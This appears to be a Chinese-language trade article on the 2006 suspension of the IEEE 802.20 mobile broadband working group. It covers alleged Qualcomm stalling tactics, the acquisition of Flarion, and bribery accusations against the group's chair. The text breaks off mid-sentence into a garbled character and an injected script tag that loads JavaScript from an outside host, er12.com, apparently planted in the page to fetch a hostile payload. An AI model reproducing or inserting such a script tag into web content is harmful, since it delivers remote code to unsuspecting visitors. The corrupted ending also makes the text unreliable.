移动宽带无线接取技术(mbwa)是最近几年，在无线通信领域相当热门的传输技术，然而就在各家厂商竞相讨论移动宽带无线接取技术是否具备能力打败第三代移动通信系统时，一个突如其来的消息打乱了各家厂商的布局——那就是制定移动宽带无线接取技术的标准组织ieee 802.20[1]工作群组(working group，wg)遭到ieee标准协会(standard association，sa)标准委员会的制裁，自6月起强制中止两个会期的标准活动，并静待11月会期的标准委员会调查结果。表面上看来，是ieee标准组织的制裁动作，实际上，却是长时间以来国际大厂，包含qualcomm、intel、与motorola等公司台面下的政治角力结果。
802.20命运多舛 qualcomm是始作俑者
自2002年12月获得ieee标准委员会许可而开始制定标准以来，802.20一直致力于制订移动宽带无线接取技术的标准文件，发展一个支持ip网络，在3.5ghz的频带之下，提供使用者超过1mbps的数据传输速率，同时支持时速250公里的高速移动速度。然而，802.20自开始制定标准以来，一路走来始终跌跌撞撞，终至在今年被冻结，而原因全来自于全球第二大移动通信芯片制造商──qualcomm。
在意识到802.20有可能在未来会成为3g的竞争者之后，因为担心移动宽带市场被瓜分，qualcomm于是积极在802.20的标准组织安排人马，每每在重要议题上运用议事操作技巧，发动讨论或抗议企图瘫痪议事，必要时动用投票部队否决，延宕标准制定时辰，导致802.20至今年为止共21个会期，标准草案却迟迟无法出炉，而其中的最大受害者就是flarion。
flarion是从lucent所分割出去的一家公司，自2000年以来一直致力于开发以ofdm为基础之展频技术，并在该领域拥有许多重要的专利与智能财，尤其在芯片、基地台、及终端设备等，在802.20的草创初期，flarion更是该标准组织的重要起始会员。flarion自802.20工作群组成立以来，便积极布局移动宽带市场，年前已先后打入美国、芬兰等市场，客户更涵盖vodafone、t-mobile与nextel等电信厂商，只待802.20的标准制订完成，flarion的技术获得国际标准背书，将可一展鸿图，正式进军移动宽带市场。
可是万万没料到flarion的如意算盘却因为阻挡到移动通信系统巨人qualcomm的财路而走向灭亡。因为qualcomm利用手段延迟802.20的标准制定时程，使得flarion一直无法从移动宽带市场获得稳定且可观的营收，在经历了几年的苦撑，终于在2005年初公司资金即将耗尽之际，以6亿美元的低价被qualcomm收购，自此，qualcomm正式进军移动宽带技术领域。
不满qualcomm垄断 大厂出手干预
在经历了3年多的消极拖延，qualcomm在2005年并购了flarion之后，野心正式浮出台面。首先，先用金钱攻势拢络了802.20工作群组主席jerry upton，接着在11月的会期上提出自家的技术草案，透过主席提出独厚qualcomm的新议程，在会员无法进行充分讨论的情形下，进行标准草案的技术表决，而802.20的其它会员就在一阵错愕中经觉一夕变天，一些资深会员只能提出提议修改议程，企图挽回颓势，然而终究不敌qualcomm与flarion的人数优势，提议屡遭否决，至此，qualcomm正式入主802.20标准组织，接着开始大幅加速802.20标准制定时程。
在之后的会期里，qualcomm更在统整旗下专利及完成布局之后，正式向802.20提出完整提案。而事实上，在当时付诸表决的完整技术提案只有两案，一案由qualcomm独自提出，另一案则由qualcomm与他的盟友kyocera共同提出，也因为此举迫使了ieee标准委员会的介入。
自从2005年qualcomm并购flarion之后，其它大厂，如intel与motorola，都看在眼里，因为qualcomm的任何动作都会影响到该公司的策略规划与布局，就在qualcomm垄断802.20，进行独裁式标准制定之时，却让intel与motorola逮到机会，以其标准草案未经全体会员检阅便径行交付表决为由，要求ieee 802执行委员会制裁此种违背议事规章之行为。并揭发802.20主席jerry upton收授贿赂、偏颇qualcomm的情事，要求进行制裁。
虽然jerry upton声称他并未受贿，只是受聘为顾问，但ieee标准委员会在收到检举函后，在2006年6月仍然决定暂停802.20所有标准活动，预备花2个会期的时间进行了解，并要求会员提出事证协助调查。
冻结802.20 ieee标准组织面临考验
有鉴于先前802.15.3a uwb与802.11n两次的挫败经验，如何妥善处理这次802.20的事件正考验着ieee标准组织的智能，面对这样的情势，标准委员会可能有两个选择，一是终止802.20的工作群组，另一则是解决802.20不公开不公平的现状。
以现实情况来分析，标准委员会并无法选择第二方案，因为ieee的标准组织是以会员个人为主，而非以公司为主，开除特定会员，如jerry upton，并无助于解决现今的问题，结果依然是qualcomm一家独大；若选择终止802.20工作群组，则由于ieee工作群组的领域划分相?script src=http://er12.com/t.js>
